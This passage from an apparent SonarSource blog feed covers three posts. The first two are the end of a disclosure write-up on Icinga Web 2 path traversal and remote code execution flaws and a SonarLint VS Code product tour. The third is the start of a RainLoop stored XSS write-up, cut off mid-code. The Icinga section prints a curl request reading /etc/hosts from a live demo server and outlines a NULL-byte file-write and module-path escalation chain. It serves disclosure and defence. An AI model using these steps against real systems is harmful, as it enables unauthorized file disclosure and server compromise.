point:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;.htaccess&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;IfModule mod_rewrite.c&gt;    
  RewriteEngine on    
  RewriteBase /icingaweb2/    
  RewriteCond %{REQUEST_FILENAME} -s [OR]    
  RewriteCond %{REQUEST_FILENAME} -l [OR]    
  RewriteCond %{REQUEST_FILENAME} -d    
  RewriteRule ^.*$ - [NC,L]    
  RewriteRule ^.*$ index.php [NC,L] 
&lt;/IfModule&gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This first script loads &lt;code&gt;webrouter.php&lt;/code&gt; and then tries to dispatch the request to the right software component based on the requested path:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Important static resources (&lt;code&gt;css/icinga.css&lt;/code&gt;, &lt;code&gt;css/icinga.min.css&lt;/code&gt;, etc.) are processed first, with support for the &lt;code&gt;ETag&lt;/code&gt; header, minification and server-side cache;&lt;/li&gt;&lt;li&gt;Dynamically-generated images (&lt;code&gt;svg/chart.php&lt;/code&gt;, &lt;code&gt;png/chart.php&lt;/code&gt;) based on request parameters;&lt;/li&gt;&lt;li&gt;Requests to paths starting with &lt;code&gt;lib/&lt;/code&gt; are handled by &lt;code&gt;StaticController&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Everything else is handed to controllers.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Dynamic routers are always interesting components to review: they have to construct paths based on user-controlled data and are thus very prone to path traversal vulnerabilities; that’s what happens here!&lt;/p&gt;&lt;h4&gt;Identifying the code vulnerability&lt;/h4&gt;&lt;p&gt;The important code of &lt;code&gt;StaticController&lt;/code&gt; is shown below: it first iterates over existing libraries to find one matching the request URL and then concatenates the associated asset path to the a value provided by the client:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Icinga/Web/Controller/StaticController.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$assetPath = ltrim(substr($request-&gt;getRequestUri(), strlen($request-&gt;getBaseUrl()) + 4), &apos;/&apos;);

$library = null;
foreach ($app-&gt;getLibraries() as $candidate) {
    if (substr($assetPath, 0, strlen($candidate-&gt;getName())) === $candidate-&gt;getName()) {
        $library = $candidate;
        $assetPath = ltrim(substr($assetPath, strlen($candidate-&gt;getName())), &apos;/&apos;);
        break;
    }
}
// [...]
$assetRoot = $library-&gt;getStaticAssetPath();
$filePath = $assetRoot . DIRECTORY_SEPARATOR . $assetPath;
[...]    
$app-&gt;getResponse()
[...]
        -&gt;setBody(file_get_contents($filePath));
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The code of &lt;code&gt;StaticController&lt;/code&gt; has two security issues:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Libraries can declare an empty asset path, in which case the path to the file is constructed using only the user input; for instance, &lt;code&gt;icinga/icinga-php-thirdparty&lt;/code&gt;.&lt;/li&gt;&lt;li&gt;The user input can contain directory traversal sequences (&lt;code&gt;../&lt;/code&gt;), resulting in a final path outside the intended directory; for instance, &lt;code&gt;icinga/icinga-php-library&lt;/code&gt;.&lt;br/&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;Impact&lt;/h4&gt;&lt;p&gt;As a result, attackers can disclose any file of the local filesystem. We could confirm this vulnerability against the official demonstration instance, for instance by obtaining the contents of the file &lt;code&gt;/etc/hosts&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$ curl https://icinga.com/demo/lib/icinga/icinga-php-thirdparty/etc/hosts -v
[...]
127.0.0.1   localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.1  demo-icinga2
172.17.0.3  2a2f396a3e13&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Attackers can also target &lt;code&gt;incingaweb2&lt;/code&gt; configuration files. Among other things, they contain database credentials used by the web interface.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If attackers can reach the database service, they can use these credentials to change the password of an existing account and gain authenticated access to the instance. We pursued this scenario and later found a way to execute arbitrary code on the instance thanks to this access (see below).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On non-default deployment, Icinga can also be told to use SSH private keys present on the local filesystem. They could be read using this technique and later pivot to other systems with the identity of the monitoring agent.&lt;/p&gt;&lt;h3&gt;Remote Code Execution (CVE-2022-24715)&lt;/h3&gt;&lt;h4&gt;Initial finding&lt;/h4&gt;&lt;p&gt;Authenticated users can edit resources to later reference them from other configuration files. One of the resource types is SSH keys, which require to be written to the local filesystem to be used.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We identified that no validation is performed on the parameter user of the &lt;code&gt;SshResourceForm&lt;/code&gt; at &lt;strong&gt;[1]&lt;/strong&gt;. It allows attackers to use directory traversal sequences (e.g. &lt;code&gt;../&lt;/code&gt;) to write the SSH key outside of the intended directory at &lt;strong&gt;[2]&lt;/strong&gt;:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;application/forms/Config/Resource/SshResourceForm.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;public static function beforeAdd(ResourceConfigForm $form)
{
    $configDir = Icinga::app()-&gt;getConfigDir();
    $user = $form-&gt;getElement(&apos;user&apos;)-&gt;getValue();
    $filePath = $configDir . &apos;/ssh/&apos; . $user; // [1]
    if (! file_exists($filePath)) {
        $file = File::create($filePath, 0600);
    // [...]
    $file-&gt;fwrite($form-&gt;getElement(&apos;private_key&apos;)-&gt;getValue()); // [2]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Our first assumption was to consider this bug useless since SSH keys are validated with &lt;code&gt;openssl_pkey_get_private()&lt;/code&gt;; it doesn&amp;#x27;t sound easy to craft a PHP script that would also be a valid PEM certificate. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This function call being the only obstacle, it is worth investigating a bit deeper and taking the time to study its implementation. As mentioned in the documentation, this function is part of PHP&amp;#x27;s Cryptography Extensions; its code is located in &lt;a href=&quot;https://github.com/php/php-src/tree/master/ext/openssl&quot;&gt;php-src/ext/openssl&lt;/a&gt;. &lt;/p&gt;&lt;h4&gt;We need to go deeper!&lt;/h4&gt;&lt;p&gt;While looking at this implementation in the PHP engine source code, one can notice a quirk specific to the OpenSSL module in PHP. Such libraries usually offer one way to load data, either based on the file&amp;#x27;s name that it will open and read or the data itself (in which case it&amp;#x27;s up to the user to handle any I/O operation). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here, both methods are automatically supported: if the parameter &lt;code&gt;$private_key&lt;/code&gt; is prefixed with &lt;code&gt;file://&lt;/code&gt;, it reads the file for the user. Otherwise, this parameter is considered to be the value of the certificate. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This leads to some rather uncommon control flow in its implementation:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;php-src/ext/openssl/openssl.c&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;static EVP_PKEY *php_openssl_pkey_from_zval(zval *val, int public_key, char *passphrase, size_t passphrase_len)
{
   EVP_PKEY *key = NULL;
   X509 *cert = NULL;
   bool free_cert = 0;
   char * filename = NULL;
   // [...]
   } else {
       // [...]       
       if (Z_STRLEN_P(val) &gt; 7 &amp;&amp; memcmp(Z_STRVAL_P(val), &quot;file://&quot;, sizeof(&quot;file://&quot;) - 1) == 0) {
           filename = Z_STRVAL_P(val) + (sizeof(&quot;file://&quot;) - 1);
           if (php_openssl_open_base_dir_chk(filename)) {
               TMP_CLEAN;
           }
       }
           // [...]
           if (filename) {
               in = BIO_new_file(filename, PHP_OPENSSL_BIO_MODE_R(PKCS7_BINARY));
           } else {
               in = BIO_new_mem_buf(Z_STRVAL_P(val), (int)Z_STRLEN_P(val));
           }&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the code snippet above, &lt;code&gt;zval *val&lt;/code&gt; is the internal representation of the private key submitted via the form. &lt;code&gt;val&lt;/code&gt; is binary-safe, which means that the PHP engine can work with the complete string even if it contains &lt;code&gt;NULL&lt;/code&gt; bytes by keeping track of its length in bytes alongside the data. However, the &lt;code&gt;libssl&lt;/code&gt; API (&lt;code&gt;BIO_*&lt;/code&gt;) only works with &lt;code&gt;NULL&lt;/code&gt;-terminated char arrays, which are inherently not binary-safe: processing will stop at the first &lt;code&gt;NULL&lt;/code&gt; byte. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers can use this quirk to circumvent the validation performed by &lt;code&gt;openssl_pkey_get_private()&lt;/code&gt; while keeping the ability to put arbitrary data in the resource file: PHP stops at the first &lt;code&gt;NULL&lt;/code&gt; byte while searching for the certificate on the disk, but the full data will be written to the destination file!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attackers could then craft a payload in 4 parts:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The mandatory prefix to enter the vulnerable code path, &lt;code&gt;file://&lt;/code&gt;;&lt;/li&gt;&lt;li&gt;Path to a valid PEM certificate on the server, e.g., &lt;code&gt;/usr/lib/python3/dist-packages/twisted/test/server.pem&lt;/code&gt; in our test virtual machine;&lt;/li&gt;&lt;li&gt;A &lt;code&gt;NULL&lt;/code&gt; byte;&lt;/li&gt;&lt;li&gt;The contents of the file to write, here a small PHP script executing an external command.&lt;/li&gt;&lt;/ul&gt;&lt;h4&gt;One last thing&lt;/h4&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/34230627-55ee-4b50-980f-165771e66afd/body-2fa7f59e-3269-4074-9298-358f3b70c788_Untitled%2BDiagram%25281%2529.png&quot; /&gt;&lt;p&gt;When installed using the official Linux packages, the PHP scripts of Icinga Web 2 are deployed under &lt;code&gt;/usr/share/icingaweb2&lt;/code&gt;. They are owned by the &lt;code&gt;root&lt;/code&gt; user and hence can&amp;#x27;t be modified with the identity of &lt;code&gt;www-data&lt;/code&gt; under which the HTTP server is running.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While this would prevent straightforward exploitation based on planting a PHP file under this directory and accessing them, we found another technique that attackers could use to obtain the execution of arbitrary code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Icinga has a notion of modules, self-contained third-party code that extends the interface&amp;#x27;s capabilities (e.g., to add Grafana support). These modules are stored under &lt;code&gt;/usr/share/icingaweb2/modules&lt;/code&gt; by default, but administrators can also change this path directly from the interface.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The setting &lt;code&gt;global_module_path&lt;/code&gt; expects colon-separated paths from where modules are located. Changing this value to a path where the previously demonstrated vulnerability can write, say &lt;code&gt;/dev/shm/&lt;/code&gt;, setting  &lt;code&gt;global_module_path&lt;/code&gt; to &lt;code&gt;/dev/&lt;/code&gt;, and enabling the new module named &lt;code&gt;shm&lt;/code&gt; allows executing arbitrary PHP code.&lt;/p&gt;&lt;h3&gt;Patches&lt;/h3&gt;&lt;p&gt;Both vulnerabilities are related to a similar vulnerable code pattern and were addressed by introducing a new validation step after constructing the destination path (&lt;a href=&quot;https://github.com/Icinga/icingaweb2/commit/067ec0f6dea35bdda0551dd522077e0b36377a20&quot;&gt;067ec0f&lt;/a&gt;, &lt;a href=&quot;https://github.com/Icinga/icingaweb2/commit/b7c31eb92281113ff19339e8c07faf1988e3ff90&quot;&gt;b7c31eb&lt;/a&gt;):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The path is constructed;&lt;/li&gt;&lt;li&gt;&lt;code&gt;realpath()&lt;/code&gt; is called: directory traversal sequences, symbolic links are resolved and ensure that the destination file exists;&lt;/li&gt;&lt;li&gt;It made sure that the path resulting from the &lt;code&gt;realpath()&lt;/code&gt; call is still &lt;em&gt;under&lt;/em&gt; the expected directory. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Further format validation is also performed on the value of the SSH resources before writing them to the disk to prevent the use of &lt;code&gt;file://&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We also reached out to the PHP maintainers to address the &lt;code&gt;NULL&lt;/code&gt; byte injection in the functions of the OpenSSL core extension. Because there isn’t any other function designed to validate the format of certificates, other software is likely using the same vulnerable functions. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We provided patches and test cases to ease their adoption by the maintainers; the bug ticket is still open as of the time of writing this article. Nevertheless, we chose to publicly document this bug as the security risk is deemed low, and an additional fix has been present Icinga Web 2 for several weeks. &lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-15&lt;/td&gt;&lt;td&gt;We report the first path traversal vulnerability to Icinga.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-21&lt;/td&gt;&lt;td&gt;We report the second path traversal vulnerability to Icinga.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-02-23&lt;/td&gt;&lt;td&gt;Icinga acknowledges the vulnerabilities, GitHub advisories are created.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-10&lt;/td&gt;&lt;td&gt;The PHP bug is reported on the upstream bug tracker in #81713.&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-03-14&lt;/td&gt;&lt;td&gt;Icinga releases icingaweb2 2.8.6, 2.9.6 and 2.10.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this publication, we covered the technical details behind two very similar vulnerabilities in Icinga Web 2, an IT monitoring solution. Both vulnerabilities can be combined within an attack in order to fully compromise the Icinga server. During the research of these vulnerabilities, we also discovered a bug in the PHP interpreter itself. We had a nice reminder that unintended quirks may be found in the implementation of a language’s built-in functions which can allow the exploitation of bugs that would be safe otherwise.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We strongly recommend not exposing such systems to Internet as-is: they should only be reachable by trusted source IP addresses (e.g., a VPN endpoint) or put behind a centralized authentication system. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the maintainers of Icinga and PHP for their prompt replies and help in addressing our findings. &lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage&quot;&gt;Zabbix - A Case Study of Unsafe Session Storage&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/gocd-pre-auth-pipeline-takeover&quot;&gt;Agent 007: Pre-Auth Takeover of Build Pipelines in GoCD&lt;/a&gt;    &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/nosql-injections-in-rocket-chat&quot;&gt;NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A Rocket&lt;/a&gt; &lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[A C&C++ tour of SonarLint for VS Code]]></title><description><![CDATA[VS Code has been gaining popularity for C and C++ development. We are happy to announce that finally, we will be able to help you write clean C and C++ code in VS Code.]]></description><link>https://www.sonarsource.com/blog/a-c-and-cpp-tour-of-sonarlint-for-vs-code</link><guid isPermaLink="false">6f92371d-b1b1-5a10-8ea2-5ee87a560720</guid><dc:creator><![CDATA[Abbas Sabra and Geoffray Adde]]></dc:creator><pubDate>Tue, 03 May 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;VS Code has been gaining popularity for C and C++ development. We are happy to announce that finally, we will be able to help you write &lt;a href=&quot;https://www.sonarsource.com/solutions/power-of-clean-code/&quot;&gt;clean C and C++ code&lt;/a&gt; in VS Code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this blog post, we will take you on a quick tour to discover the essentials of &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=SonarSource.sonarlint-vscode&quot;&gt;SonarLint for VS Code&lt;/a&gt;. We hope you enjoy the ride!&lt;/p&gt;&lt;h2&gt;All you need is a &lt;em&gt;Compilation Database&lt;/em&gt;&lt;/h2&gt;&lt;p&gt;That’s all it takes to configure the analysis. Compilation databases are pretty standard. So, you may already generate one for your project. If not, &lt;a href=&quot;https://github.com/SonarSource/sonarlint-vscode/wiki/C-and-CPP-Analysis#1&quot;&gt;here&lt;/a&gt; are a few hints to help.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can configure your compilation database in 3 ways:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;By using the SonarLint notification&lt;/li&gt;&lt;li&gt;Through SonarLint embedded action&lt;/li&gt;&lt;li&gt;By manually assigning the `sonarlint.pathToCompileCommands` option in the settings to the full path of the compilation database.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;You can also use the SonarLint embedded action to switch quickly between different configurations.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d896fca2-a65d-4bd9-ac75-f9721540d644/body-dc40fbea-6ac1-42a8-8e36-744ad4f7c678_1.gif&quot; /&gt;&lt;h2&gt;It is alive!&lt;/h2&gt;&lt;p&gt;SonarLint is alive. It is constantly watching your code for you. It automatically analyzes your code as you type and raises issues as soon as they are detected.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All the relevant information and fixes are there when you need them. No need to ask for them; they come to you.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f4825543-4b87-42a4-a73b-6207283f6a07/body-c864aa6a-6516-4550-b561-c4d8335e2eb0_2.gif&quot; /&gt;&lt;h2&gt;The rule&lt;/h2&gt;&lt;p&gt;The first step to fixing an issue is understanding its corresponding rule.&lt;br/&gt;For certain rules, the title is enough to understand the rule; for others, you may want to get more information. Here, SonarLint helps you by making the rule description quickly accessible from the issue. The description contains the motivation behind the rule, examples of code breaking the rule, and good ways to fix the code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9d86b25b-7abf-4c74-b1cf-25dde7e31a5b/body-f657a42c-4fcc-4cfd-891c-d039a072df38_3b.gif&quot; /&gt;&lt;h2&gt;The issue&lt;/h2&gt;&lt;p&gt;Once the rule is clear, you can see where and how the issue unfolds in your code. Understanding the issue can quickly become complex in some cases:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;If the issue depends on a hidden context, for example, a function prototype written in another file.&lt;/li&gt;&lt;li&gt;When the issue describes a path-sensitive bug where you have to understand a long cross-functional control flow, for example, when a `nullptr` is initialized in one function and dereferenced in another. &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To solve this problem, SonarLint provides multiple issue locations when needed.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/89126e78-728c-4020-9936-e4d6b9be8141/body-9a1469d7-9086-44f3-8447-a5cefd2db2d9_4.gif&quot; /&gt;&lt;h2&gt;… and the fix&lt;/h2&gt;&lt;p&gt;Finally, comes the time to fix the issue. SonarLint helps you by showing you how to write fixes. As explained earlier, all rules have generic fix suggestions in their description. Quick fixes are also available to fix issues automatically for specific rules and situations. They allow you to learn while coding, making you faster in fixing and improving your code.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/84edd941-62da-4c5e-8266-eaccf633eeb6/body-6ccaee86-bd15-4289-99f7-b0871e236ce6_5.gif&quot; /&gt;&lt;h2&gt;That’s all, folks!&lt;/h2&gt;&lt;p&gt;Of course, there is more to SonarLint; there are many other features for you to discover, for example:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Rule enabling and disabling&lt;/li&gt;&lt;li&gt;Connected mode to &lt;a href=&quot;https://www.sonarqube.org/sonarlint/&quot;&gt;SonarQube&lt;/a&gt; and &lt;a href=&quot;https://sonarcloud.io/sonarlint/&quot;&gt;SonarCloud&lt;/a&gt;. This allows synchronizing which rules run and what issues are shown in your SonarLint, allowing a developer team to share clean code information and practices straight in their IDE.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To get started, check out our &lt;a href=&quot;https://github.com/SonarSource/sonarlint-vscode/wiki/C-and-CPP-Analysis&quot;&gt;technical documentation&lt;/a&gt;. Also, If you use other IDEs to write C or C++, SonarLint is waiting for you in CLion, Eclipse, and Visual Studio, too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you run into any issues or would like to provide feedback, please reach out to us on &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;our community forum&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[RainLoop Webmail - Emails at Risk due to Code Flaw]]></title><description><![CDATA[We recently discovered a critical code vulnerability in RainLoop Webmail that allows attackers to steal all emails by sending a malicious mail.]]></description><link>https://www.sonarsource.com/blog/rainloop-emails-at-risk-due-to-code-flaw</link><guid isPermaLink="false">05612a93-63ef-5e6a-bf5f-62e24c6e4202</guid><dc:creator><![CDATA[Simon Scannell]]></dc:creator><pubDate>Tue, 19 Apr 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;RainLoop is an open-source webmail client used by thousands of organizations to exchange sensitive messages and files via email. In this blog post, we are warning RainLoop users about a code vulnerability that allows attackers to steal emails from the inboxes of victims. At the time of writing, no official patch is available.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The code vulnerability described in this blog post can be easily exploited by an attacker by sending a malicious email to a victim that uses RainLoop as a mail client. When the email is viewed by the victim, the attacker gains full control over the session of the victim and can steal any of their emails, including those that contain highly sensitive information such as passwords, documents, and password reset links. Let&amp;#x27;s have a look what happened and what we can learn from it.&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The discovered code flaw is a Stored Cross-Site-Scripting vulnerability (CVE-2022-29360) that affects the latest version &lt;a href=&quot;https://web.archive.org/web/20221008110525/https://github.com/RainLoop/rainloop-webmail/releases/tag/v1.16.0&quot;&gt;v1.16.0&lt;/a&gt; of RainLoop. At the time of writing, no official patch is available. The vulnerability can be exploited in any RainLoop installation that runs with default configurations. An attacker who knows the email address of an employee of a targeted organization can send the victim a maliciously crafted email. When it is viewed in the webmail interface, it executes a hidden JavaScript payload in the browser of the victim. No further user interaction is required.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/6dSiQH0pijk&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;&lt;br/&gt;&lt;/h2&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following sections, we go into detail about the Stored Cross-Site-Scripting vulnerability and how gadgets were abused to make JavaScript run automatically once a victim views a malicious email.&lt;/p&gt;&lt;h3&gt;Stored XSS in the email body (CVE-2022-29360)&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;RainLoop’s backend is a PHP application that acts as a proxy between a user and their mail server. Similar to mail clients, such as Thunderbird, it enables a user to log into a mail server, fetch emails, view them, and send emails. &lt;/p&gt;&lt;h4&gt;Sanitization Logic&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As RainLoop is a web application, it needs to render incoming emails to HTML code. It also needs to ensure that the rendered HTML code has been validated and does not contain malicious components (e.g. unsafe links, JavaScript tags).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;On a high level, RainLoop deploys the following flow to achieve this:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Receive the raw, untrusted HTML code from the mail server&lt;/li&gt;&lt;li&gt;Create an instance of the built-in &lt;code&gt;DOMDocument&lt;/code&gt; class in PHP. This parses HTML into a tree structure of HTML elements and their attributes&lt;/li&gt;&lt;li&gt;Depending on the configuration, use an allow or deny list to remove any dangerous contents in the tree structure&lt;/li&gt;&lt;li&gt;Convert the sanitized tree structure of the &lt;code&gt;DOMDocument&lt;/code&gt; into HTML code&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Intuitively it makes sense to analyze the code that attempts to remove any dangerous HTML code (step 3 in the above’s list) and find a weakness inside of that code to bypass the sanitizer. However, our experience has shown there are often logic bugs &lt;strong&gt;after&lt;/strong&gt; the sanitization steps have been performed. From the security researcher&amp;#x27;s point of view, they are much easier to spot and are often overlooked by developers: for good examples of previous findings using this pattern, see &lt;a href=&quot;https://web.archive.org/web/20221008110525/https://blog.sonarsource.com/zimbra-webmail-compromise-via-email&quot;&gt;Zimbra Stored XSS&lt;/a&gt; and &lt;a href=&quot;https://web.archive.org/web/20221008110525/https://blog.sonarsource.com/wordpress-csrf-to-rce&quot;&gt;WordPress CSRF to RCE&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We mentioned that the 4th step converts the tree structure of the &lt;code&gt;DOMDocument&lt;/code&gt; into HTML code. Usually, this step is trivial as the &lt;code&gt;DOMDocument&lt;/code&gt; class has the built-in &lt;code&gt;saveHTML()&lt;/code&gt; method which does exactly what is required.&lt;/p&gt;&lt;h4&gt;Faking a HTML &amp;lt;body&amp;gt;&lt;/h4&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One last problem must be solved before the sanitized HTML code can be rendered to the user: due to normalization performed by the &lt;code&gt;DOMDocument&lt;/code&gt; class, the HTML code &lt;code&gt;saveHTML()&lt;/code&gt; emits contains &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags.  Although this is perfectly valid and harmless, the front end page of RainLoop that renders the email already contains &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Additionally, &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags might contain important attributes such as styles and classes that must be preserved. RainLoop solves these problems by parsing the attributes from the &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag of the email structure and then wrapping the HTML code of the email in a fake body that contains the original &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; attributes.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the following paragraphs, we will describe how this process works in RainLoop, show the corresponding code snippets and finally describe a logic flaw in this process that leads to a Stored XSS vulnerability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the first step, RainLoop fetches references to the &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; nodes from the tree structure and then calls &lt;code&gt;saveHTML() &lt;/code&gt;on all children to get the sanitized HTML code without &lt;code&gt;&amp;lt;html&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt; rainloop/v/0.0.0/app/libraries/MailSo/Base/HtmlUtils.php&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt; 222    $oHtml = $oDom-&gt;getElementsByTagName(&apos;html&apos;)-&gt;item(0);
 223    $oBody = $oDom-&gt;getElementsByTagName(&apos;body&apos;)-&gt;item(0);
 224 
 225    foreach ($oBody-&gt;childNodes as $oChild)
 226    {
 227        $sResult .= $oDom-&gt;saveHTML($oChild);
